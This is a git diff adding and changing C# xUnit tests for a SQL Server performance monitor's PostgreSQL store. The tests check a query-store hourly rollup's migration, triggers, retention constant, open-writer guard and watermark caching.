+        var one = QueryStoreComposeStamp.ChooseBuilds(stale.Append(B(30, false)).ToList(), 6);
+        Assert.Equal(new[] { B(3, true), B(4, true), B(5, true), B(30, false) }, one);
+
+        var none = QueryStoreComposeStamp.ChooseBuilds(stale, 6);
+        Assert.Equal(6, none.Count);
+        Assert.All(none, b => Assert.True(b.Stale));
+        Assert.Equal(B(3, true), none[0]);
+
+        /* Only never-built hours: all the slots, newest first. */
+        var onlyMissing = QueryStoreComposeStamp.ChooseBuilds(Enumerable.Range(10, 9).Select(h => B(h, false)).ToList(), 6);
+        Assert.Equal(Enumerable.Range(10, 6).Select(h => B(h, false)), onlyMissing);
+        Assert.Empty(QueryStoreComposeStamp.ChooseBuilds(Array.Empty<QueryStoreComposeStamp.Build>(), 6));
+    }
+
+    [Fact]
+    public void TheNineDayHorizon_IsOneConstant_SharedByThePartitionsThePurgeTheWideReadAndTheRollupFloor()
+    {
+        Assert.Equal(9, QueryStoreIntervalPartitions.WideHorizonDays);
+        Assert.Equal(QueryStoreIntervalPartitions.WideHorizonDays, QueryStoreIntervalPartitions.Wide.HorizonDays);
+        Assert.Equal(QueryStoreIntervalPartitions.WideHorizonDays, DarlingRetention.QueryStoreIntervalWideRetentionDays);
+
+        /* Defined once: the retention constant is the storage one, not a second literal; and the rollup tick is handed that constant. */
+        var retention = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingRetention.cs");
+        Assert.Contains("QueryStoreIntervalWideRetentionDays = QueryStoreIntervalPartitions.WideHorizonDays;", retention, StringComparison.Ordinal);
+        var partitions = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Storage", "QueryStoreIntervalPartitions.cs");
+        Assert.Contains("new(\"query_store_interval_wide\", WideHorizonDays)", partitions, StringComparison.Ordinal);
+        var worker = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingWorker.cs");
+        var tick = worker[worker.IndexOf("await QueryStoreComposeStamp.RunTickAsync(", StringComparison.Ordinal)..];
+        Assert.Contains("DarlingRetention.QueryStoreIntervalWideRetentionDays", tick[..300], StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheCleanup_IsTheTwoStepShape_DrivenFromTheSmallTables()
+    {
+        Assert.Contains("RETURNING hour", QueryStoreComposeStamp.GcHoursSql, StringComparison.Ordinal);
+        Assert.Contains("collect.query_store_compose_stamp_hours", QueryStoreComposeStamp.GcHoursSql, StringComparison.Ordinal);
+        Assert.Contains("collect.query_store_compose_stamp_built", QueryStoreComposeStamp.GcBuiltSql, StringComparison.Ordinal);
+        /* Step two probes the (collection_time, server_id) index with the hour's two constants; it never filters the rollup by "< floor". */
+        Assert.Contains("collection_time >= $1", QueryStoreComposeStamp.GcRollupSql, StringComparison.Ordinal);
+        Assert.Contains("collection_time < $1 + interval '1 hour'", QueryStoreComposeStamp.GcRollupSql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheFloor_IsTheRetentionHorizonPlusThePurgeEdgeMargin_RoundedUpToTheHour()
+    {
+        var now = new DateTime(2026, 10, 8, 12, 30, 0, DateTimeKind.Utc);
+        var floor = QueryStoreComposeStamp.FloorHour(now, 9);
+        var edge = new DateTime(2026, 9, 29, 12, 30, 0) + QueryStoreIntervalWide.PurgeEdgeMargin;
+        Assert.True(floor >= edge && floor - edge < TimeSpan.FromHours(1));
+        Assert.Equal(0, floor.Minute);
+        Assert.Equal(DateTimeKind.Unspecified, floor.Kind);
+        /* On an hour edge the floor is the edge itself. */
+        var exact = new DateTime(2026, 10, 8, 12, 0, 0) - TimeSpan.FromDays(9) + QueryStoreIntervalWide.PurgeEdgeMargin;
+        Assert.Equal(exact.Minute == 0 ? exact : exact.Date.AddHours(exact.Hour + 1), QueryStoreComposeStamp.FloorHour(new DateTime(2026, 10, 8, 12, 0, 0, DateTimeKind.Utc), 9));
+    }
+
+    [Fact]
+    public void TheHourNumber_IsWholeHoursSince1970_TheNumberTheTriggerKeyUses()
+    {
+        Assert.Equal(0, QueryStoreComposeStamp.HourNumber(new DateTime(1970, 1, 1, 0, 0, 0)));
+        Assert.Equal(24 * 365, QueryStoreComposeStamp.HourNumber(new DateTime(1971, 1, 1, 0, 0, 0)));
+        Assert.Contains("extract(epoch FROM hn)::bigint / 3600", QueryStoreComposeStamp.CreateSql, StringComparison.Ordinal);
+    }
+
+    /* ---- the rung ------------------------------------------------------------------------------------- */
+
+    [Fact]
+    public void TheRung_IsTheTopOfTheLadder_AndTheStorageVersion()
+    {
+        Assert.Equal(173, QueryStoreComposeStamp.RungVersion);
+        var top = PgMigrations.Scripts[^1];
+        Assert.Equal(StorageVersion.SchemaVersion, top.Version);
+        Assert.Equal(QueryStoreComposeStamp.RungVersion, top.Version);
+        Assert.Equal("query-store-compose-stamp", top.Name);
+        Assert.Equal(172, PgMigrations.Scripts[^2].Version);
+        Assert.Equal(PgMigrations.Scripts.Count, PgMigrations.Scripts.Select(s => s.Version).Distinct().Count());
+        Assert.EndsWith(QueryStoreComposeStamp.CreateSql, top.Sql, StringComparison.Ordinal);
+        Assert.StartsWith("SET LOCAL lock_timeout", top.Sql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheRungText_HasTheTablesTheIndexTheFunctionAndBothTriggers_OnTheParent_WithTheWriterClock()
+    {
+        var sql = QueryStoreComposeStamp.CreateSql;
+        foreach (var piece in new[]
+        {
+            "CREATE TABLE IF NOT EXISTS collect.query_store_compose_stamp\n",
+            "CREATE TABLE IF NOT EXISTS collect.query_store_compose_stamp_built",
+            "CREATE TABLE IF NOT EXISTS collect.query_store_compose_stamp_hours",
+            "PRIMARY KEY (server_id, hour)",
+            "PRIMARY KEY (hour)",
+            "late_seq bigint NOT NULL DEFAULT 0",
+            "CREATE INDEX IF NOT EXISTS ix_query_store_compose_stamp_time_server",
+            "ON collect.query_store_compose_stamp (collection_time, server_id)",
+            "CREATE OR REPLACE FUNCTION collect.query_store_compose_stamp_mark_late() RETURNS trigger",
+            "SET search_path = pg_catalog, pg_temp",
+            "set_config('darling.query_store_compose_stamp_marked'",
+            "AFTER INSERT ON collect.query_store_interval_wide",
+            "AFTER UPDATE ON collect.query_store_interval_wide",
+            "FOR EACH ROW",
+        })
+        {
+            Assert.Contains(piece, NormalizeEol(sql), StringComparison.Ordinal);
+        }
+
+        /* No unique index on the rollup, no DELETE trigger, no SECURITY DEFINER. */
+        Assert.DoesNotContain("CREATE UNIQUE", sql, StringComparison.OrdinalIgnoreCase);
+        Assert.DoesNotContain("AFTER DELETE", sql, StringComparison.OrdinalIgnoreCase);
+        Assert.DoesNotContain("SECURITY DEFINER", sql, StringComparison.OrdinalIgnoreCase);
+        Assert.DoesNotContain("double precision", sql, StringComparison.OrdinalIgnoreCase);
+        /* The WHEN conditions read the writer's clock, never now() (the transaction start), and the offset is the documented one. */
+        var whens = Regex.Matches(sql, @"WHEN \((?<cond>.*?)\)\s*EXECUTE", RegexOptions.Singleline).Select(m => m.Groups["cond"].Value).ToList();
+        Assert.Equal(2, whens.Count);
+        foreach (var when in whens)
+        {
+            Assert.Contains("clock_timestamp() AT TIME ZONE 'UTC'", when, StringComparison.Ordinal);
+            Assert.DoesNotContain("now()", when, StringComparison.Ordinal);
+            Assert.Contains("- " + QueryStoreComposeStamp.WhenOffsetSql, when, StringComparison.Ordinal);
+        }
+
+        Assert.Contains("OLD.collection_time <", whens[1], StringComparison.Ordinal);
+        Assert.Contains("NEW.collection_time <", whens[1], StringComparison.Ordinal);
+        Assert.DoesNotContain("now()", sql.Replace("transaction start", string.Empty, StringComparison.Ordinal)[sql.IndexOf("DECLARE", StringComparison.Ordinal)..], StringComparison.Ordinal);
+        Assert.Equal(TimeSpan.FromHours(1), QueryStoreComposeStamp.WhenOffset);
+        Assert.True(QueryStoreComposeStamp.WhenOffset < QueryStoreComposeStamp.BuildLag, "the trigger must mark an hour before the builder reads it");
+    }
+
+    private static string NormalizeEol(string value) => value.Replace("\r\n", "\n", StringComparison.Ordinal);
+
+    /* ---- the sentinel, the version map, the tick ---------------------------------------------------- */
+
+    [Fact]
+    public void TheProbe_MapsAFullyMigratedStoreToThisTopRung()
+    {
+        Assert.Contains("to_regclass('collect.query_store_compose_stamp_hours')", ViewerDataService.StoreSchemaProbeSql, StringComparison.Ordinal);
+
+        var viewer = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerDataService.cs");
+        Assert.Contains($"reader.GetBoolean({ProbeOrdinal})", viewer, StringComparison.Ordinal);
+        Assert.DoesNotContain($"reader.GetBoolean({ProbeOrdinal + 1})", viewer, StringComparison.Ordinal);
+
+        Assert.Equal(StorageVersion.SchemaVersion, ViewerDataService.RequiredStoreSchemaVersion);
+
+        var method = typeof(ViewerDataService).GetMethod("MapProbedSchemaVersion", BindingFlags.NonPublic | BindingFlags.Static)!;
+        var arity = method.GetParameters().Length;
+        Assert.Equal(ProbeOrdinal, arity - 1);
+
+        var all = Enumerable.Repeat((object)true, arity).ToArray();
+        Assert.Equal(StorageVersion.SchemaVersion, (int)method.Invoke(null, all)!);
+
+        var behind = (object[])all.Clone();
+        behind[ProbeOrdinal] = false;
+        Assert.Equal(172, (int)method.Invoke(null, behind)!);
+
+        var arm = viewer.IndexOf("if (hasQueryStoreComposeStamp)", StringComparison.Ordinal);
+        var below = viewer.IndexOf("if (hasQueryStoreIntervalLatestPartitioned)", StringComparison.Ordinal);
+        Assert.True(arm >= 0 && below > arm, "the V173 arm sits above V172's");
+        Assert.Contains("return " + QueryStoreComposeStamp.RungVersion.ToString(CultureInfo.InvariantCulture) + ";", viewer[arm..below], StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheTick_IsANinthTenant_OutsideTheGate_BeforeTheIoRollup_WithItsOwnCatchAll()
+    {
+        var worker = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingWorker.cs");
+        var code = CSharpSourceWalker.StripCommentsAndStrings(worker);
+        var tickStart = code.IndexOf("private async Task RunStoreMaintenanceTickAsync(CancellationToken stoppingToken)", StringComparison.Ordinal);
+        Assert.True(tickStart >= 0, "could not locate RunStoreMaintenanceTickAsync");
+        var tickEnd = code.IndexOf("private async Task RefreshModuleMapRecentAsync(CancellationToken stoppingToken)", tickStart, StringComparison.Ordinal);
+        Assert.True(tickEnd > tickStart, "could not bound RunStoreMaintenanceTickAsync");
+        var tick = code[tickStart..tickEnd];
+
+        const string Stamp = "await BuildQueryStoreComposeStampAsync(stoppingToken);";
+        const string Io = "await BuildPgIoStatsHourlyAsync(stoppingToken);";
+        Assert.Equal(1, tick.Split(Stamp).Length - 1);
+        Assert.Equal(1, code.Split(Stamp).Length - 1);
+        var stampAt = tick.IndexOf(Stamp, StringComparison.Ordinal);
+        var ioAt = tick.IndexOf(Io, StringComparison.Ordinal);
+        Assert.True(ioAt > stampAt, "the rollup tick is awaited before the I/O rollup");
+        Assert.True(string.IsNullOrWhiteSpace(tick[(stampAt + Stamp.Length)..ioAt]), "nothing sits between the two tenants");
+        Assert.True(stampAt > tick.IndexOf("else", StringComparison.Ordinal), "the rollup tick sits after the gated if/else, outside the TimescaleDB gate");
+
+        var builder = code[code.IndexOf("private async Task BuildQueryStoreComposeStampAsync(CancellationToken stoppingToken)", StringComparison.Ordinal)..];
+        builder = builder[..builder.IndexOf("private async Task", 60, StringComparison.Ordinal)];
+        Assert.Contains("catch (Exception ex) when (ex is not OperationCanceledException)", builder, StringComparison.Ordinal);
+        Assert.Contains("QueryStoreComposeStamp.RunTickAsync(", builder, StringComparison.Ordinal);
+        Assert.Contains("DarlingRetention.QueryStoreIntervalWideRetentionDays", builder, StringComparison.Ordinal);
+        Assert.DoesNotContain("throw", builder, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/QueryStoreComposeStampWriterGuardLiveTests.cs b/Darling/Darling.Tests/QueryStoreComposeStampWriterGuardLiveTests.cs
new file mode 100644
index 0000000000..f8aa95cd61
--- /dev/null
+++ b/Darling/Darling.Tests/QueryStoreComposeStampWriterGuardLiveTests.cs
@@ -0,0 +1,257 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+using static Darling.Tests.ComposeStampLiveSupport;
+using static Darling.Tests.QueryStoreComposeStampLiveTests;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5582 review round 2 (M1 and L1): the margin guard counts only the writers of the wide table (a granted <c>RowExclusiveLock</c> on it
+/// or on a partition), a writer whose start time is not readable counts as open, the plan leaves out the hours such a writer would defer
+/// so they do not take the tick's build slots, and a wait that repeats is logged as a Warning that names the writer. A writer blocks a
+/// plannable hour only once it has been open for over an hour, so the plan tests pass a store clock of their own
+/// (<see cref="QueryStoreComposeStamp.TickOptions.StoreNow"/>) instead of waiting.
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. Every test reaches DARLING_TEST_PG only to CREATE and DROP its
+   own database through ScratchPostgres and works entirely inside it, so it never touches the shared database and cannot race the
+   live collection. */
+public sealed class QueryStoreComposeStampWriterGuardLiveTests
+{
+    private const string WriterApplication = "rollup-writer-5582";
+
+    private static async Task<NpgsqlConnection> OpenWriterAsync(ScratchPostgres scratch, CancellationToken ct, string? options = null)
+    {
+        var builder = new NpgsqlConnectionStringBuilder(scratch.ConnectionString) { ApplicationName = WriterApplication };
+        if (options is not null)
+        {
+            builder.Options = options;
+        }
+
+        var connection = new NpgsqlConnection(builder.ConnectionString);
+        await connection.OpenAsync(ct);
+        return connection;
+    }
+
+    private static Task<long> HoursBuiltAsync(NpgsqlConnection connection, DateTime hour, CancellationToken ct) => CountAsync(connection,
+        $"SELECT count(*) FROM collect.query_store_compose_stamp_hours WHERE hour = TIMESTAMP '{At(hour)}'", ct);
+
+    [Fact]
+    public async Task AnUnrelatedLongWriter_ATempTableAndAWriteToAnotherTable_NoLongerDefersTheHour()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, connection, source, hourNow) = await ArrangeAsync(ct, build: false);
+        var bodySucceeded = false;
+        try
+        {
+            /* The hour before this one: its trigger margin (H + 2 h) is still ahead, so an open writer of the wide table would defer it. */
+            var hour = hourNow.AddHours(-1);
+            await using var writer = await OpenWriterAsync(scratch, ct);
+            await using var builder = await source.OpenConnectionAsync(ct);
+            await using var open = await writer.BeginTransactionAsync(ct);
+            await ExecAsync(writer, "CREATE TEMP TABLE scratch_5582 (i int); INSERT INTO scratch_5582 VALUES (1); UPDATE collect.servers SET is_enabled = is_enabled WHERE server_id = 1", ct);
+            /* It holds an xid, the whole of what the round-1 guard asked for. */
+            Assert.Equal(1, await CountAsync(connection, "SELECT count(*) FROM pg_stat_activity WHERE datname = current_database() AND backend_xid IS NOT NULL AND pid <> pg_backend_pid()", ct));
+
+            Assert.NotNull(await QueryStoreComposeStamp.BuildHourAsync(builder, hour, DateTime.UtcNow, ct));
+            Assert.Equal(1, await HoursBuiltAsync(connection, hour, ct));
+            await open.RollbackAsync(ct);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await CleanupAsync(scratch, connection, source, bodySucceeded);
+        }
+    }
+
+    [Fact]
+    public async Task AWriteStraightIntoAPartition_AndAWriterWhoseStartTimeIsNotReadable_StillDeferTheHour()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, connection, source, hourNow) = await ArrangeAsync(ct, build: false);
+        var bodySucceeded = false;
+        try
+        {
+            var hour = hourNow.AddHours(-1);
+            await using var builder = await source.OpenConnectionAsync(ct);
+
+            /* A direct write into the leaf that holds the hour's seed rows locks the leaf, not the parent. */
+            var leaf = await TextAsync(connection, $"SELECT tableoid::regclass::text FROM collect.query_store_interval_wide WHERE collection_time = TIMESTAMP '{At(hour.AddMinutes(5))}' LIMIT 1", ct);
+            Assert.False(string.IsNullOrEmpty(leaf));
+            await using (var leafWriter = await OpenWriterAsync(scratch, ct))
+            await using (var open = await leafWriter.BeginTransactionAsync(ct))
+            {
+                await InsertRowAsync(leafWriter, 1, hour.AddMinutes(10), 9_200_001, ct, leaf);
+                Assert.Equal(0, await CountAsync(connection, $"SELECT count(*) FROM pg_locks WHERE locktype = 'relation' AND mode = 'RowExclusiveLock' AND pid = {leafWriter.ProcessID} AND relation = 'collect.query_store_interval_wide'::regclass", ct));
+                Assert.Null(await QueryStoreComposeStamp.BuildHourAsync(builder, hour, DateTime.UtcNow, ct));
+                await open.CommitAsync(ct);
+            }
+
+            /* track_activities off at session start: the session's xact_start reads NULL, and the guard cannot show it began late enough. */
+            await using (var blind = await OpenWriterAsync(scratch, ct, "-c track_activities=off"))
+            await using (var open = await blind.BeginTransactionAsync(ct))
+            {
+                await InsertRowAsync(blind, 2, hour.AddMinutes(20), 9_200_002, ct);
+                Assert.Equal(1, await CountAsync(connection, $"SELECT count(*) FROM pg_stat_activity WHERE pid = {blind.ProcessID} AND xact_start IS NULL", ct));
+                Assert.Null(await QueryStoreComposeStamp.BuildHourAsync(builder, hour, DateTime.UtcNow, ct));
+                await open.CommitAsync(ct);
+            }
+
+            Assert.NotNull(await QueryStoreComposeStamp.BuildHourAsync(builder, hour, DateTime.UtcNow, ct));
+            Assert.Equal(0, await MismatchesAsync(connection, hour, hour.AddHours(1), ct));
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await CleanupAsync(scratch, connection, source, bodySucceeded);
+        }
+    }
+
+    [Fact]
+    public async Task AWriterWhoseStartTimeIsNotReadable_HoldsEveryPlannedHourBack_AndAnUnrelatedWriterHoldsNone()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, connection, source, hourNow) = await ArrangeAsync(ct, build: false);
+        var bodySucceeded = false;
+        try
+        {
+            Assert.NotEmpty((await QueryStoreComposeStamp.PlanAsync(connection, DateTime.UtcNow, RetentionDays, ct)).Builds);
+
+            await using (var other = await OpenWriterAsync(scratch, ct))
+            await using (var open = await other.BeginTransactionAsync(ct))
+            {
+                await ExecAsync(other, "CREATE TEMP TABLE scratch_5582 (i int); INSERT INTO scratch_5582 VALUES (1)", ct);
+                var plan = await QueryStoreComposeStamp.PlanAsync(connection, DateTime.UtcNow, RetentionDays, ct);
+                Assert.NotEmpty(plan.Builds);
+                Assert.Equal(0, plan.HeldBack);
+                await open.RollbackAsync(ct);
+            }
+
+            await using (var blind = await OpenWriterAsync(scratch, ct, "-c track_activities=off"))
+            await using (var open = await blind.BeginTransactionAsync(ct))
+            {
+                await InsertRowAsync(blind, 1, hourNow.AddMinutes(-50), 9_200_004, ct);
+                Assert.Equal(1, await CountAsync(connection, $"SELECT count(*) FROM pg_stat_activity WHERE pid = {blind.ProcessID} AND xact_start IS NULL", ct));
+
+                /* No start time to compare: every hour the plan could pick might be one the writer holds an unmarked row of. */
+                var plan = await QueryStoreComposeStamp.PlanAsync(connection, DateTime.UtcNow, RetentionDays, ct);
+                Assert.Empty(plan.Builds);
+                Assert.True(plan.HeldBack > 0);
+                await open.RollbackAsync(ct);
+            }
+
+            Assert.NotEmpty((await QueryStoreComposeStamp.PlanAsync(connection, DateTime.UtcNow, RetentionDays, ct)).Builds);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await CleanupAsync(scratch, connection, source, bodySucceeded);
+        }
+    }
+
+    [Fact]
+    public async Task TheGuard_SeesAWriterOfAPlainWideTable_BeforeItIsPartitioned()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+        /* An empty database with a plain (not partitioned) table of the wide table's name: pg_partition_tree returns no row for it. */
+        var scratch = await ScratchPostgres.CreateAsync(BaseConnectionString!, ct);
+        var bodySucceeded = false;
+        try
+        {
+            await using var observer = new NpgsqlConnection(scratch.ConnectionString);
+            await observer.OpenAsync(ct);
+            await ExecAsync(observer, "CREATE SCHEMA collect; CREATE TABLE collect.query_store_interval_wide (i int)", ct);
+            Assert.Equal(0, await CountAsync(observer, "SELECT count(*) FROM pg_partition_tree('collect.query_store_interval_wide'::regclass)", ct));
+
+            await using var writer = await OpenWriterAsync(scratch, ct);
+            await using var open = await writer.BeginTransactionAsync(ct);
+            await ExecAsync(writer, "INSERT INTO collect.query_store_interval_wide VALUES (1)", ct);
+
+            await using var command = new NpgsqlCommand(QueryStoreComposeStamp.OpenWriterSql, observer);
+            command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Timestamp, Value = ThisHour().AddHours(-1) });
+            Assert.Equal(writer.ProcessID, Convert.ToInt32(await command.ExecuteScalarAsync(ct), System.Globalization.CultureInfo.InvariantCulture));
+            await open.RollbackAsync(ct);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+            await scratch.DisposeAsync();
+        }
+    }
+
+    [Fact]
+    public async Task WithAWideTableWriterOpen_TheOldestNeverBuiltHoursStillBuildInTheSameTick_AndTheWarningNamesTheWriterWithoutItsQuery()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, connection, source, hourNow) = await ArrangeAsync(ct, build: false);
+        var bodySucceeded = false;
+        try
+        {
+            await using var writer = await OpenWriterAsync(scratch, ct);
+            await using var open = await writer.BeginTransactionAsync(ct);
+            await InsertRowAsync(writer, 1, hourNow.AddMinutes(-50), 9_200_003, ct);
+
+            /* A store clock eight hours ahead makes the plan's newest hours (up to hourNow + 5 h) ones that this writer, begun now,
+               would defer: every hour from hourNow - 1 h on, seven of them, one more than a tick builds. */
+            var logger = new CapturingTestLogger();
+            var now = new DateTime(2026, 10, 8, 12, 0, 0, DateTimeKind.Utc);
+            var watch = new QueryStoreComposeStamp.DeferralWatch(() => now);
+            var options = new QueryStoreComposeStamp.TickOptions(watch, DateTime.UtcNow.AddHours(8));
+
+            var first = await QueryStoreComposeStamp.RunTickAsync(source, DateTime.UtcNow, RetentionDays, logger, () => TimeSpan.Zero, ct, options);
+            Assert.Equal(0, first.Failed);
+            Assert.Equal(0, first.DeferredForWriters);
+            Assert.True(first.HeldBack > 0, "the plan should report the hours the writer holds back");
+            Assert.Equal(QueryStoreComposeStamp.MaxBuildsPerTick, first.BuiltMissing);
+            for (var back = 2; back <= 1 + QueryStoreComposeStamp.MaxBuildsPerTick; back++)
+            {
+                Assert.Equal(1, await HoursBuiltAsync(connection, hourNow.AddHours(-back), ct));
+            }
+
+            Assert.Equal(0, await HoursBuiltAsync(connection, hourNow.AddHours(-1), ct));
+            Assert.Equal(0, logger.CountAtLevel(LogLevel.Warning));
+
+            /* The second tick in a row that held hours back: the Warning, naming the writer, never its query. */
+            var second = await QueryStoreComposeStamp.RunTickAsync(source, DateTime.UtcNow, RetentionDays, logger, () => TimeSpan.Zero, ct, options);
+            Assert.Equal(0, second.Failed);
+            Assert.Equal(1, logger.CountAtLevel(LogLevel.Warning));
+            var line = Assert.Single(logger.Lines, l => l.StartsWith("Warning:", StringComparison.Ordinal));
+            Assert.Contains($"pid {writer.ProcessID},", line, StringComparison.Ordinal);
+            Assert.Contains("started 20", line, StringComparison.Ordinal);
+            Assert.Contains($"application {WriterApplication}", line, StringComparison.Ordinal);
+            Assert.Contains("backend type client backend", line, StringComparison.Ordinal);
+            Assert.DoesNotContain("modX", line, StringComparison.Ordinal);
+            Assert.DoesNotContain("INSERT", line, StringComparison.Ordinal);
+
+            /* A third tick inside the ten minutes says nothing more at Warning. */
+            now = now.AddMinutes(9);
+            await QueryStoreComposeStamp.RunTickAsync(source, DateTime.UtcNow, RetentionDays, logger, () => TimeSpan.Zero, ct, options);
+            Assert.Equal(1, logger.CountAtLevel(LogLevel.Warning));
+
+            await open.CommitAsync(ct);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await CleanupAsync(scratch, connection, source, bodySucceeded);
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/QueryStoreDatabaseWatermarkWiringPinTests.cs b/Darling/Darling.Tests/QueryStoreDatabaseWatermarkWiringPinTests.cs
index 0cf2edb5dd..c957c9595d 100644
--- a/Darling/Darling.Tests/QueryStoreDatabaseWatermarkWiringPinTests.cs
+++ b/Darling/Darling.Tests/QueryStoreDatabaseWatermarkWiringPinTests.cs
@@ -19,6 +19,7 @@ namespace Darling.Tests;
 /// while it advances strictly AFTER the item's COPY transaction commits,.
 /// The writer set is pinned in <see cref="QueryStoreWriterSetPinTests"/>.
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class QueryStoreDatabaseWatermarkWiringPinTests
 {
     private static string RunnerSource() =>
@@ -30,8 +31,8 @@ public void TheCommit_IsCalledOnce_AndOnlyFromOnItemComplete_AndTheStageOnlyFrom
         var src = RunnerSource();
 
         var calls = Regex.Matches(src, @"CommitQueryStoreDatabaseWatermark\(").Count;
-        /* one declaration + one call */
-        Assert.Equal(2, calls);
+        /* one declaration + the enumerated arm's call + the Azure SQL Database arm's (#5514, pinned below) */
+        Assert.Equal(3, calls);
 
         var call = src.IndexOf("CommitQueryStoreDatabaseWatermark(server, item", StringComparison.Ordinal);
         Assert.True(call > 0, "the commit call is missing");
@@ -48,4 +49,40 @@ public void TheCommit_IsCalledOnce_AndOnlyFromOnItemComplete_AndTheStageOnlyFrom
         var stage = src.IndexOf("stagedDatabaseWatermarks[item] =", StringComparison.Ordinal);
         Assert.InRange(stage, readItem, writeBatch);
     }
+
+    /// <summary>
+    /// #5514: the Azure SQL Database per-database loop took query_store's watermark straight from the store, bounded
+    /// but uncached, and invalidated the cache key first, so every database paid one store read per cycle (181,050
+    /// calls in 13 days on a 43-server store). It resolves through the cache like the enumerated arm, stages the
+    /// batch after the fetch, lands it only after the flush returned, and drops the key when a staged batch faults.
+    /// </summary>
+    [Fact]
+    public void TheAzureArm_ResolvesThroughTheCache_StagesBeforeTheFlush_CommitsAfterIt_AndDropsTheKeyOnAFault()
+    {
+        var src = RunnerSource();
+
+        var armStart = src.IndexOf("var azureReadFloor =", StringComparison.Ordinal);
+        Assert.True(armStart > 0, "the Azure arm's read floor is missing");
+
+        /* The old shape: invalidate the key, then read the store, on every pass. */
+        Assert.DoesNotContain("per-database cache; the invalidate is only defensive", src);
+
+        var resolve = src.IndexOf("ResolveQueryStoreDatabaseWatermarkAsync(", armStart, StringComparison.Ordinal);
+        var plainRead = src.IndexOf("GetLastCollectedTimeForDatabaseAsync(", armStart, StringComparison.Ordinal);
+        Assert.True(resolve > armStart && plainRead > resolve,
+            "the Azure arm must resolve query_store's watermark through the cache, keeping the plain read only for the collectors with no read floor");
+        Assert.Contains("azureReadFloor is DateTime azureCacheFloor", src);
+
+        var fetch = src.IndexOf("dbConnection, pgConnection, server, databaseName, definition.Name", armStart, StringComparison.Ordinal);
+        var stage = src.IndexOf("stagedDatabaseWatermark = StageQueryStoreDatabaseWatermark(batch, databaseName", armStart, StringComparison.Ordinal);
+        var flush = src.IndexOf("rowsWritten += await WriteBatchAsync(pgConnection, definition, batch, server, collectionTime, context", armStart, StringComparison.Ordinal);
+        var commit = src.IndexOf("CommitQueryStoreDatabaseWatermark(server, databaseName, landedWatermark)", armStart, StringComparison.Ordinal);
+        Assert.True(fetch > 0 && stage > fetch && flush > stage && commit > flush,
+            "stage after the fetch, before the flush; commit only after the flush");
+
+        /* Both fault arms drop the key, and only for a batch that was staged. */
+        var drops = Regex.Matches(src,
+            @"if \(stagedDatabaseWatermark is not null\)\s*\{\s*_databaseWatermarkCache\.Invalidate\(server\.ServerId, databaseName\);").Count;
+        Assert.Equal(2, drops);
+    }
 }
diff --git a/Darling/Darling.Tests/QueryStoreFetchProbeLivePostgresTests.cs b/Darling/Darling.Tests/QueryStoreFetchProbeLivePostgresTests.cs
index 468496ceec..e9f099c99c 100644
--- a/Darling/Darling.Tests/QueryStoreFetchProbeLivePostgresTests.cs
+++ b/Darling/Darling.Tests/QueryStoreFetchProbeLivePostgresTests.cs
@@ -12,6 +12,7 @@
 using System.Threading;
 using System.Threading.Tasks;
 using Npgsql;
+using PerformanceMonitor.Collectors;
 using PerformanceMonitor.Common;
 using PerformanceMonitor.Darling.Storage;
 using Xunit;
@@ -32,6 +33,19 @@ public sealed class QueryStoreFetchProbeLivePostgresTests
     private static readonly int ServerId = ServerIdHelper.GetDeterministicHashCode(ServerName);
     private const string Db = "ProbeDb";
 
+    /* #4981: every plan content this class lands in the shared digest-keyed dimension. The cleanup removes them by
+       digest, so a dimension row an older run left behind (its map rows long gone) cannot skew this run either. */
+    private const string PlanOne = "<plan one/>";
+    private const string PlanRestart = "<plan restart/>";
+    private const string PlanOnlyOurs = "<plan only-ours/>";
+    private const string PlanShared = "<plan shared/>";
+
+    /* #4981: plan content this class does NOT write in its probe tests, and so must never delete. Only the cleanup test
+       below lands them, to prove the cleanup stays inside the four contents above even when a map row points at one of
+       these and a fact table references it. They are deliberately not in the cleanup's known list. */
+    private const string PlanOutsideOurs = "<plan outside-ours/>";
+    private const string PlanOutsideOther = "<plan outside-other/>";
+
     /* #2776: the store-write path now takes an explicit command timeout instead of inheriting Npgsql's
        30s default. These fixtures write a handful of rows, so the value is immaterial to what they assert —
        it is here only because the parameter is required, which is deliberate: making it required is what
